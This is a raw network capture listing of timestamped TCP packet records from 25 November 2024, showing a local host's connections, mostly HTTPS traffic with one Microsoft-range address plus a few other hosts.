Nov 25, 2024 12:07:30.891226053 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:30.891674995 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:30.891680956 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:30.895812988 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:30.896080017 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:30.896095991 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:30.896431923 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:30.896437883 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.128463030 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.133111000 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.133131027 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.133584976 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.133589029 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.136431932 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.140126944 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.140165091 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.140427113 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.140431881 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.159173012 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.167855024 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.167862892 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.168318033 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.168322086 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.344075918 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.344161034 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.344273090 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.344469070 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.344506025 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.344521999 CET	49739	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.344530106 CET	443	49739	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.347279072 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.347323895 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.347390890 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.347563982 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.347584009 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.348416090 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.348490000 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.348540068 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.348649025 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.348669052 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.348680019 CET	49740	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.348690987 CET	443	49740	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.350590944 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.350624084 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.354233980 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.354351997 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.354361057 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.574126959 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.574197054 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.574413061 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.574440956 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.574461937 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.574475050 CET	49742	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.574480057 CET	443	49742	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.576842070 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.576884031 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.576955080 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.577094078 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.577111959 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.589884996 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.589962959 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.590111017 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.590157032 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.590157032 CET	49741	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.590183973 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.590194941 CET	443	49741	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.592300892 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.592330933 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.592410088 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.592566967 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.592576981 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.601583004 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.601669073 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.601746082 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.601905107 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.601923943 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.601936102 CET	49743	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.601943016 CET	443	49743	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.603847980 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.603864908 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:31.603938103 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.604058027 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:31.604072094 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.062215090 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.088181019 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.088203907 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.088877916 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.088886976 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.132908106 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.174309015 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.191138983 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.191149950 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.192137003 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.192143917 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.291635990 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.346200943 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.372024059 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.391185045 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.415209055 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.415241003 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.415664911 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.415678978 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.424303055 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.426670074 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.426678896 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.427072048 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.427078962 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.427357912 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.427408934 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.427881002 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.427895069 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.497128010 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.497308969 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.497370005 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.547127008 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.547127008 CET	49744	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.547183990 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.547211885 CET	443	49744	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.577336073 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.577411890 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.577455044 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.691016912 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.691049099 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.691066980 CET	49745	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.691073895 CET	443	49745	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.732458115 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.732525110 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.732584000 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.739500046 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.739527941 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.739557028 CET	49746	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.739572048 CET	443	49746	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.749995947 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.750036955 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.750109911 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.750937939 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.750952005 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.752129078 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.752168894 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.752244949 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.752475023 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.752494097 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.759669065 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.759681940 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.759742975 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.760880947 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.760890961 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.818617105 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.818689108 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.818737030 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.818898916 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.818922997 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.818938971 CET	49747	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.818944931 CET	443	49747	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.821698904 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.821768045 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.822088003 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.822384119 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.822447062 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.838223934 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.838289976 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.838360071 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.838568926 CET	49748	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.838602066 CET	443	49748	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.841447115 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.841491938 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:33.841799974 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.842778921 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:33.842808962 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.535805941 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.536982059 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.538930893 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.538965940 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.539400101 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.539405107 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.540791988 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.540822029 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.541210890 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.541219950 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.543382883 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.550759077 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.550797939 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.551070929 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.551076889 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.558562040 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.559060097 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.559120893 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.559463024 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.559480906 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.597680092 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.627852917 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.627928972 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:35.628274918 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:35.628288031 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.211813927 CET	49723	80	192.168.2.5	185.215.113.16
Nov 25, 2024 12:07:36.391864061 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.391932964 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.391941071 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.391982079 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392023087 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392071962 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392087936 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392106056 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392108917 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392127991 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392189980 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392200947 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392249107 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392250061 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392301083 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392401934 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392401934 CET	49752	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.392438889 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.392468929 CET	443	49752	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.398786068 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.398823023 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.398880005 CET	49753	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.398917913 CET	443	49753	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.399368048 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.399368048 CET	49750	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.399435043 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.399486065 CET	443	49750	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.399626017 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.399641037 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.399651051 CET	49749	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.399655104 CET	443	49749	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.400700092 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.400706053 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.400734901 CET	49751	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.400738955 CET	443	49751	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.402180910 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.402211905 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.402282953 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.403168917 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.403182983 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.403237104 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.403809071 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.403825045 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.404607058 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.404617071 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.404670954 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.404769897 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.404782057 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.405385971 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.405397892 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.410279036 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.410294056 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.410342932 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.410550117 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.410557032 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.411815882 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.411859989 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:36.411921024 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.412031889 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:36.412055016 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.120085955 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.120634079 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.120654106 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.121220112 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.121225119 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.126490116 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:38.126523018 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:38.126574993 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:38.126821995 CET	49769	443	192.168.2.5	142.250.181.100
Nov 25, 2024 12:07:38.126835108 CET	443	49769	142.250.181.100	192.168.2.5
Nov 25, 2024 12:07:38.182341099 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.182621956 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.182799101 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.182837009 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.183247089 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.183253050 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.183269978 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.183284044 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.183746099 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.183749914 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.189668894 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.190059900 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.190148115 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.190455914 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.190469980 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.190823078 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.191165924 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.191179037 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.191536903 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.191541910 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.555423021 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.555499077 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.555571079 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.556272984 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.556309938 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.556324959 CET	49765	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.556334019 CET	443	49765	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.559807062 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.559844017 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.559906006 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.560075998 CET	49772	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.560094118 CET	443	49772	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.626416922 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.626483917 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.626534939 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.627058029 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.627074957 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.627085924 CET	49764	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.627091885 CET	443	49764	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.628952026 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.629029989 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.629089117 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.629311085 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.629314899 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.629323959 CET	49766	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.629328012 CET	443	49766	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.630527020 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.630572081 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.630624056 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.631532907 CET	49773	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.631546974 CET	443	49773	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.632066965 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.632097006 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.632162094 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.632267952 CET	49774	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.632283926 CET	443	49774	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.632572889 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.632628918 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.632682085 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.632822990 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.632858038 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.632886887 CET	49768	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.632905006 CET	443	49768	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.635552883 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.635627031 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.635674953 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.635799885 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.635828018 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.635842085 CET	49767	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.635850906 CET	443	49767	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.635937929 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.635948896 CET	443	49775	13.107.246.63	192.168.2.5
Nov 25, 2024 12:07:38.636002064 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.637268066 CET	49775	443	192.168.2.5	13.107.246.63
Nov 25, 2024 12:07:38.637275934 CET	443	49775	13.107.246.63	192.168.2.5
